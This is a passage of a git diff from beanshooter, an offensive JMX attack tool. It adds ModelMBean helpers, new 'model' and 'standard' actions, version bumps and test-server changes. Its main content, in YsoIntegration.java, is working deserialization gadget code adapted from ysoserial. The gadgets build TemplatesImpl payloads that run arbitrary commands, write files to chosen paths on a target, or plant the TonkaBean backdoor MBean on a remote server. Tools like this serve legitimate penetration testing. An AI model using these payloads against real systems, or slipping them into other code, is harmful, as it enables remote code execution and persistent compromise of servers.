exit(Exception e) + { + ExceptionHandler.showStackTrace(e); + + Logger.eprintln("Cannot continue from here."); + System.exit(1); + } + /** * Just a wrapper around System.exit(1) that prints an information before quitting. This * version is invoked with a boolean that decides whether the exit should be performed. @@ -659,4 +680,152 @@ public static String getJmxTarget(Remote remote) throws IllegalArgumentException return String.format("%s:%d", host, port); } + + /** + * Create an array of ModelMBeanOperationInfo from the specified class. This method uses reflection to + * determine all the available methods within the specified class, filters methods with non serializable + * parameters and wraps each method into an ModelMBeanOperationInfo. + * + * @param cls Class to obtain ModelMBeanOperationInfos from + * @return Array of ModelMBeanOperationInfo for the specified class + */ + public static ModelMBeanOperationInfo[] createModelMBeanInfosFromClass(Class cls) + { + Method[] methods = cls.getMethods(); + List infos = new ArrayList();; + + Map descriptorFields = new HashMap(); + descriptorFields.put("class", cls.getName()); + descriptorFields.put("role", "operation"); + descriptorFields.put("descriptorType", "operation"); + + outer: + for (Method method : methods) + { + if (!BeanshooterOption.MODEL_ALL_METHODS.getBool()) + { + for (Class paramType : method.getParameterTypes()) + { + if (!(Serializable.class.isAssignableFrom(paramType))) + continue outer; + } + } + + descriptorFields.put("name", method.getName()); + descriptorFields.put("displayName", method.getName()); + + Descriptor methodDescriptor = new ImmutableDescriptor(descriptorFields); + ModelMBeanOperationInfo info = new ModelMBeanOperationInfo(method.getName(), method, methodDescriptor); + + infos.add(info); + } + + try + { + Method setManagedResource = RequiredModelMBean.class.getMethod("setManagedResource", new Class[] {Object.class, String.class}); + ModelMBeanOperationInfo info = new ModelMBeanOperationInfo("setManagedResource", setManagedResource); + infos.add(info); + } + + catch (NoSuchMethodException | SecurityException e) + { + ExceptionHandler.internalError("createModelMBeanInfosFromClass", "unable to find setManagedResource method"); + } + + return infos.toArray(new ModelMBeanOperationInfo[0]); + } + + /** + * Create an array of ModelMBeanOperationInfo from user specified signatures. This function inspects the + * MODEL_SIGNATURE and MODEL_SIGNATURE_FILE options and parses the contents accordingly. For each signature, + * a new ModelMBeanOperationInfo is created. All methods are expected to be present in the specified className. + * + * @param className Class where the signatures are defined + * @return Array of ModelMBeanOperationInfo, one for each specified signature + */ + public static ModelMBeanOperationInfo[] createModelMBeanInfosFromArg(String className) + { + List operationInfos = new ArrayList(); + + if (BeanshooterOption.MODEL_SIGNATURE.notNull()) + { + ModelMBeanOperationInfo operationInfo = crateModelMBeanInfoFromString(className, BeanshooterOption.MODEL_SIGNATURE.getValue()); + operationInfos.add(operationInfo); + } + + else if (BeanshooterOption.MODEL_SIGNATURE_FILE.notNull()) + { + try (BufferedReader br = new BufferedReader(new FileReader(BeanshooterOption.MODEL_SIGNATURE_FILE.getValue()))) + { + String line; + + while ((line = br.readLine()) != null) + { + ModelMBeanOperationInfo operationInfo = crateModelMBeanInfoFromString(className, line); + operationInfos.add(operationInfo); + } + } + + catch (FileNotFoundException e) + { + Logger.printlnMixedYellow("Caught unexpected", "FileNotFoundException", "while preparing method signatures."); + Logger.printlnMixedBlue("The specified input file", BeanshooterOption.MODEL_SIGNATURE_FILE.getValue(), "seems not to exist."); + Utils.exit(e); + } + + catch (IOException e) + { + ExceptionHandler.handleFileRead(e, BeanshooterOption.MODEL_SIGNATURE_FILE.getValue(), true); + } + } + + else + { + ExceptionHandler.internalError("createModelMBeanInfosFromArg", "Method was called but neither --signature nor --signature file was specified"); + } + + try + { + Method setManagedResource = RequiredModelMBean.class.getMethod("setManagedResource", new Class[] {Object.class, String.class}); + ModelMBeanOperationInfo info = new ModelMBeanOperationInfo("setManagedResource", setManagedResource); + operationInfos.add(info); + } + + catch (NoSuchMethodException | SecurityException e) + { + ExceptionHandler.internalError("createModelMBeanInfosFromClass", "unable to find setManagedResource method"); + } + + return operationInfos.toArray(new ModelMBeanOperationInfo[0]); + } + + /** + * Create a ModelMBeanOperationInfo from the specified method signature. + * + * @param className the class where the method is defined in + * @param method the method signature + * @return ModelMBeanOperationInfo for the specified parameters + */ + public static ModelMBeanOperationInfo crateModelMBeanInfoFromString(String className, String method) + { + String[] methodDesc = PluginSystem.getArgumentTypes(method, true); + String returnValue = method.split(" ", 2)[0]; + + Map descriptorFields = new HashMap(); + descriptorFields.put("name", methodDesc[0]); + descriptorFields.put("displayName", methodDesc[0]); + descriptorFields.put("class", className); + descriptorFields.put("role", "operation"); + descriptorFields.put("descriptorType", "operation"); + + Descriptor methodDescriptor = new ImmutableDescriptor(descriptorFields); + MBeanParameterInfo[] paramInfos = new MBeanParameterInfo[methodDesc.length - 1]; + + for (int ctr = 1; ctr < methodDesc.length; ctr++) + { + paramInfos[ctr - 1] = new MBeanParameterInfo(null, methodDesc[ctr], null); + } + + return new ModelMBeanOperationInfo(methodDesc[0], null, paramInfos, returnValue, MBeanOperationInfo.UNKNOWN, methodDescriptor); + } } diff --git a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java index ea6b6ed..b673c92 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java @@ -1,22 +1,53 @@ package de.qtc.beanshooter.utils; import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.Serializable; +import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Arrays; +import java.util.Base64; + +import org.apache.commons.io.IOUtils; + +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import de.qtc.beanshooter.cli.ArgumentHandler; import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; +import de.qtc.beanshooter.mbean.MBean; import de.qtc.beanshooter.operation.BeanshooterOption; +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.NotFoundException; /** * Wrapper around ysoserial. Is used to validate the path to the ysoserial jar file and to create gadgets. * * @author Tobias Neitzel (@qtc_de) */ -public class YsoIntegration { +@SuppressWarnings("restriction") +public class YsoIntegration +{ + /** + * For beanshooters standard action, we use the YsoIntegration class to also create the required + * payload objects of type TemplateImpl. Ysoserial only supports a generic command execution version + * of the template. beanshooter adds some additional one. Since a full ysoserial integration is not + * necessary for only the template object creation, we do it our own and copy the relevant code from + * the ysoserial project. + * + * The following array contains the available template objects. + */ + private static final String[] templateGadgets = new String[] { "template-exec", "template-upload", "template-tonka" }; /** * Just a small wrapper around the URLClassLoader creation. Checks the existence of the specified file @@ -29,7 +60,8 @@ private static URLClassLoader getClassLoader() throws MalformedURLException { File ysoJar = new File((String)ArgumentHandler.require(BeanshooterOption.YSO)); - if( !ysoJar.exists() ) { + if (!ysoJar.exists()) + { ExceptionHandler.ysoNotPresent(BeanshooterOption.YSO.getValue()); } @@ -40,6 +72,9 @@ private static URLClassLoader getClassLoader() throws MalformedURLException * Loads ysoserial using and separate URLClassLoader and invokes the makePayloadObject function by using * reflection. The result is a ysoserial gadget as it would be created on the command line. * + * If the requested gadget is contained within templateGadgets, we create the gadget on our own (of course + * still with the help of the ysoserial source code - copy & paste). + * * @param gadget name of the desired gadget * @param command command specification for the desired gadget * @return ysoserial gadget @@ -48,7 +83,13 @@ public static Object getPayloadObject(String gadget, String command) { Object ysoPayload = null; - try { + if (Arrays.asList(templateGadgets).contains(gadget)) + { + return getTemplateGadget(gadget, command); + } + + try + { URLClassLoader ucl = getClassLoader(); Class yso = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ucl); @@ -56,17 +97,239 @@ public static Object getPayloadObject(String gadget, String command) Logger.print("Creating ysoserial payload..."); ysoPayload = method.invoke(null, new Object[] {gadget, command}); + } - } catch( Exception e) { + catch( Exception e) + { Logger.printlnPlain(" failed."); Logger.eprintlnMixedYellow("Caught unexpected", e.getClass().getName(), "during gadget generation."); Logger.eprintMixedBlue("You probably specified", "a wrong gadget name", "or an "); Logger.eprintlnPlainBlue("invalid gadget argument."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.printlnPlain(" done."); return ysoPayload; } + + /** + * Create the requested template gadget. + * + * @param gadget the gadget to create + * @param command command to pass to the gadget + * @return TemplateImpl object that performs the requested action + */ + private static Object getTemplateGadget(String gadget, String command) + { + if (gadget.equals("template-tonka")) + return getTonkaTemplateGadget(); + + else if (gadget.equals("template-exec")) + return getCommandTemplateGadget(command); + + else if (gadget.equals("template-upload")) + return getUploadTemplateGadget(command); + + ExceptionHandler.internalError("getTemplateGadget", "A non existing gadget was requested."); + return null; + } + + /** + * Returns a TemplateImpl gadget that deploys the tonka bean on the target server. + * + * @return TemplateImpl object that deploys the tonka bean on the target server + * @throws IOException + */ + private static Object getTonkaTemplateGadget() + { + byte[] content = null; + String base64 = null; + + InputStream stream = YsoIntegration.class.getResourceAsStream("/" + MBean.TONKA.getJarName()); + + if (stream == null) + { + Logger.printlnMixedYellow("Unable to find", MBean.TONKA.getJarName(), "within beanshooter.jar."); + Logger.printlnMixedBlue("This", "is not", "supposed to happen."); + Utils.exit(); + } + + try + { + content = IOUtils.toByteArray(stream); + } + + catch (IOException e) + { + Logger.printlnMixedYellow("Caught unexpected", "IOException", "while reading " + MBean.TONKA.getJarName() + "."); + Utils.exit(e); + } + + base64 = new String(Base64.getEncoder().encode(content)); + + // Create a temporary file where the TonkaBean Jar file is uploaded + String java = "java.io.File f = java.io.File.createTempFile(\"tonka-bean\", \".jar\");"; + + // Upload the TonkaBean Jar file + java += String.format("java.nio.file.Files.write(f.toPath(), " + + "java.util.Base64.getDecoder().decode(\"%s\"), " + + "new java.nio.file.StandardOpenOption[0]);", base64); + + // Create an URLClassLoader and use it load the TonkaBean Jar + java += "java.net.URLClassLoader ucls = new java.net.URLClassLoader(new java.net.URL[] {f.toURI().toURL()});"; + java += "Class tonkaBeanClass = java.lang.Class.forName(\"de.qtc.beanshooter.tonkabean.TonkaBean\", true, ucls);"; + + // Create a new instance of the TonkaBean and register it to the MBean server + java += "Object instance = tonkaBeanClass.newInstance();"; + java += String.format("java.lang.management.ManagementFactory.getPlatformMBeanServer().registerMBean(instance, " + + "new javax.management.ObjectName(\"%s\"));", MBean.TONKA.getObjectName().toString()); + + // Delete the temporary file + java += "f.delete();"; + + return templateGadgetFromJava(java); + } + + /** + * Returns a TemplateImpl gadget that uploads a file. The gadget command is expected + * to be of the structure "source:destination". + * + * @param command the upload command - format should be : + * @return TemplateImpl object that uploads a file. + */ + private static Object getUploadTemplateGadget(String command) + { + String base64 = null; + String[] split = command.split("::"); + + if (split.length != 2) + { + Logger.eprintlnMixedYellow("Invalid upload parameter:", command); + Logger.eprintlnMixedBlue("The expected format is:", "::"); + Utils.exit(); + } + + try + { + byte[] content = Files.readAllBytes(Paths.get(split[0])); + base64 = new String(Base64.getEncoder().encode(content)); + } + + catch (IOException e) + { + ExceptionHandler.handleFileRead(e, split[0], true); + } + + String java = String.format("java.nio.file.Files.write(new java.io.File(\"%s\").toPath(), " + + "java.util.Base64.getDecoder().decode(\"%s\"), " + + "new java.nio.file.StandardOpenOption[0]);", split[1], base64); + + return templateGadgetFromJava(java); + } + + /** + * Returns a TemplateImpl gadget that executes a command. This is basically the + * version implemented by ysoserial. + * + * @param command the command to execute + * @return TemplateImpl object that executes a command + */ + private static Object getCommandTemplateGadget(String command) + { + String escCommand = command.replace("\\", "\\\\").replace("\"", "\\\""); + String java = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", escCommand); + + if (BeanshooterOption.STANDARD_EXEC_ARRAY.getBool()) + { + String[] cmd = escCommand.split(" ", 3); + java = String.format("java.lang.Runtime.getRuntime().exec(" + + "new String[] { \"%s\", \"%s\", \"%s\" } );", + cmd[0], cmd[1], cmd[2]); + } + + return templateGadgetFromJava(java); + } + + /** + * Generate a TemplateImpl object that executes the specified Java code on + * transformation. This function is basically a copy of ysoserials createTemplatesImpl. + * + * source: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java#L106 + * + * Different licensing may apply. + * + * @param java the java code to execute when a transformation occurs + * @return TemplateImpl object that executes the specified Java code on transformation + */ + private static Object templateGadgetFromJava(String java) + { + byte[] payloadBytes = null; + byte[] dummyBytes = null; + + try + { + ClassPool pool = ClassPool.getDefault(); + + CtClass payloadClass = pool.makeClass("de.qtc.beanshooter.utils.TransletPayloadStub" + System.nanoTime()); + payloadClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); + payloadClass.addInterface(pool.getCtClass(Serializable.class.getName())); + payloadClass.makeClassInitializer().insertAfter(java); + + CtClass dummyClass = pool.makeClass("de.qtc.beanshooter.utils.Foo" + System.nanoTime()); + dummyClass.addInterface(pool.getCtClass(Serializable.class.getName())); + + payloadBytes = payloadClass.toBytecode(); + dummyBytes = dummyClass.toBytecode(); + } + + catch (NotFoundException | CannotCompileException | IOException e) + { + Logger.printlnMixedYellow("Caught", e.getClass().getName(), "during dynamic class generation."); + Utils.exit(e); + } + + return createTemplateGadget(payloadBytes, dummyBytes); + } + + /** + * Helper class to generate TemplateImpl objects. This function is basically a copy of + * ysoserials createTemplatesImpl. + * + * source: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java#L106 + * + * Different licensing may apply. + * + * @param payloadBytes bytecode of the payload class to place within the Template + * @param dummyBytes bytecode of a dummy class + * @return TemplateImpl object that contains the specified bytecodes + */ + @SuppressWarnings("deprecation") + private static Object createTemplateGadget(byte[] payloadBytes, byte[] dummyBytes) + { + final TemplatesImpl template = new TemplatesImpl(); + Field bytecodeField; + + try + { + bytecodeField = template.getClass().getDeclaredField("_bytecodes"); + bytecodeField.setAccessible(true); + bytecodeField.set(template, new byte[][] { payloadBytes, dummyBytes}); + + Field nameField = template.getClass().getDeclaredField("_name"); + nameField.setAccessible(true); + nameField.set(template, "Pwnr"); + + Field templateField = template.getClass().getDeclaredField("_tfactory"); + templateField.setAccessible(true); + templateField.set(template, TransformerFactoryImpl.class.newInstance()); + } + + catch (NoSuchFieldException | SecurityException | IllegalArgumentException | IllegalAccessException | InstantiationException e) + { + Logger.printlnMixedYellow("Caught", e.getClass().getName(), "while creating TemplatesIml object."); + Utils.exit(e); + } + + return template; + } } diff --git a/docker/jmx-example-server/CHANGELOG.md b/docker/jmx-example-server/CHANGELOG.md new file mode 100644 index 0000000..6c5cb9a --- /dev/null +++ b/docker/jmx-example-server/CHANGELOG.md @@ -0,0 +1,14 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## [2.1] - Mar 20, 2023 + +### Added + +* Add `java.xml` module +* Add `CHANGELOG.md` diff --git a/docker/jmx-example-server/Dockerfile b/docker/jmx-example-server/Dockerfile index 5e2c6e1..0ab4d52 100644 --- a/docker/jmx-example-server/Dockerfile +++ b/docker/jmx-example-server/Dockerfile @@ -12,8 +12,8 @@ RUN mvn clean package FROM alpine:latest AS jdk-builder RUN set -ex \ && apk add --no-cache openjdk11 \ - && /usr/lib/jvm/java-11-openjdk/bin/jlink --add-modules java.rmi,java.management.rmi,jdk.management.agent,jdk.naming.rmi --verbose --strip-debug --compress 2 \ - --no-header-files --no-man-pages --output /jdk + && /usr/lib/jvm/java-11-openjdk/bin/jlink --add-modules java.rmi,java.management.rmi,jdk.management.agent,jdk.naming.rmi,java.xml \ + --verbose --strip-debug --compress 2 --no-header-files --no-man-pages --output /jdk ########################################### ### Container Stage ### diff --git a/docker/jmx-example-server/docker-compose.yml b/docker/jmx-example-server/docker-compose.yml index 3d6976b..8aab817 100644 --- a/docker/jmx-example-server/docker-compose.yml +++ b/docker/jmx-example-server/docker-compose.yml @@ -2,7 +2,7 @@ version: '3.7' services: beanshooter: - image: ghcr.io/qtc-de/beanshooter/jmx-example-server:2.0 + image: ghcr.io/qtc-de/beanshooter/jmx-example-server:2.1 build: . #environment: # - > diff --git a/docs/jolokia.md b/docs/jolokia.md index 3625122..40134c8 100644 --- a/docs/jolokia.md +++ b/docs/jolokia.md @@ -50,8 +50,8 @@ arbitrary *Java* objects are therefore not possible. > **Q:** What *beanshooter* operations are supported for *Jolokia* endpoints? **A**: All operations that do not require the creation or removal of *MBeans* or the transport of complex *Java* types. -In essence, this means that the `deploy`, `undeploy` and `serial` actions are not supported. All other operations are -supported, as long as the only utilize *OpenTypes*, but this should be the case for most actions. +In essence, this means that the `deploy`, `undeploy`, `model`, `standard` and `serial` actions are not supported. All +other operations are supported, as long as the only utilize *OpenTypes*, but this should be the case for most actions. > **Q:** Can I use the *TonkaBean* via *Jolokia*? diff --git a/pom.xml b/pom.xml index 8df5794..bda3a47 100644 --- a/pom.xml +++ b/pom.xml @@ -5,7 +5,7 @@ reactor reactor pom - 4.0.0 + 4.1.0 JMX enumeration and attacking tool diff --git a/resources/bash_completion.d/beanshooter b/resources/bash_completion.d/beanshooter index 587ccbd..15735da 100644 --- a/resources/bash_completion.d/beanshooter +++ b/resources/bash_completion.d/beanshooter @@ -34,6 +34,7 @@ function _beanshooter() _init_completion || return file_like="--jar-file --config --plugin --export-dir --export-mlet --export-jar --username-file --password-file --yso --output-file" + file_like="$file_like --signature-file" unguessable="--class-name --object-name --bound-name --objid-server --objid-connection --username --password --stager-port --threads" unguessable="$unguessable --class-filter --obj-filter --cwd --env --signature --shell --jolokia-proxy --jolokia-proxy-user" unguessable="$unguessable --jolokia-proxy-password --jolokia-endpoint --lookup" @@ -49,7 +50,7 @@ function _beanshooter() gadgets="$gadgets JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2" gadgets="$gadgets Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1" - operations="attr brute deploy enum info invoke list serial stager undeploy diagnostic hotspot mlet recorder tomcat tonka jolokia" + operations="attr brute deploy enum info invoke list serial stager undeploy diagnostic hotspot mlet recorder tomcat tonka jolokia model standard" sasl_mechanisms="plain digest cram gssapi ntlm" general_opts="--help --config --verbose --plugin --no-color --stack-trace" conn_opts="--follow --ssl --jmxmp --sasl --jolokia --jolokia-proxy --jolokia-proxy-user --jolokia-proxy-password --jolokia-endpoint" @@ -121,6 +122,36 @@ function _beanshooter() opts="$opts $auth_opts" opts="$opts $general_opts" + elif [[ ${words[1]} == "model" ]] && _comp_beanoption 7; then + opts="--all-methods" + opts="$opts --signature" + opts="$opts --signature-file" + opts="$opts $auth_opts" + opts="$opts $common_three" + + elif [[ ${words[1]} == "standard" ]]; then + + if [[ $cur == -* ]] || [[ $args -ge 6 ]] || [[ $args -ge 5 && ${words[4]} == "tonka" ]]; then + + opts="$auth_opts" + opts="$opts $common_three" + + if [[ ${words[4]} == "exec" ]]; then + opts="$opts --exec-array" + fi + + elif [[ $args -eq 4 ]]; then + opts="exec tonka upload" + + elif [[ $args -eq 5 ]] && [[ $prev == "upload" ]]; then + compopt -o nospace + _filedir + return + + else + return 0 + fi + elif [[ ${words[1]} == "deploy" ]] && _comp_beanoption 6; then opts="$auth_opts" opts="$opts --jar-file" diff --git a/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml b/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml index e33c7c9..e5b7c9b 100644 --- a/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml +++ b/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml @@ -42,7 +42,7 @@ tests: values: - 'MBean class is not known by the server' - 'Creating MLetHandler for endpoint: /' - - 'Starting HTTP server.' + - 'Waiting for incoming connections' - 'Incoming request from: ' - 'de.qtc.beanshooter.tonkabean.TonkaBean' - 'MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed' diff --git a/tests/jmx-example-server/deploy/rmi/tricot.yml b/tests/jmx-example-server/deploy/rmi/tricot.yml index 2261d32..5d6146f 100644 --- a/tests/jmx-example-server/deploy/rmi/tricot.yml +++ b/tests/jmx-example-server/deploy/rmi/tricot.yml @@ -173,7 +173,7 @@ tests: - Exporting MLet HTML file to - file_exists: files: - - tonka-bean-4.0.0-jar-with-dependencies.jar + - tonka-bean-4.1.0-jar-with-dependencies.jar - index.html @@ -189,7 +189,7 @@ tests: - de.qtc.beanshooter.tonkabean.TonkaBean - 'de.qtc.beanshooter:type=Test' - --jar-file - - ./tonka-bean-4.0.0-jar-with-dependencies.jar + - ./tonka-bean-4.1.0-jar-with-dependencies.jar - --stager-url - http://${DOCKER-GW}:4444 @@ -212,7 +212,7 @@ tests: - file_exists: cleanup: True files: - - tonka-bean-4.0.0-jar-with-dependencies.jar + - tonka-bean-4.1.0-jar-with-dependencies.jar - index.html diff --git a/tonka-bean/pom.xml b/tonka-bean/pom.xml index 2bd7d33..e2169bd 100644 --- a/tonka-bean/pom.xml +++ b/tonka-bean/pom.xml @@ -4,7 +4,7 @@ de.qtc.beanshooter reactor - 4.0.0 + 4.1.0 tonka-bean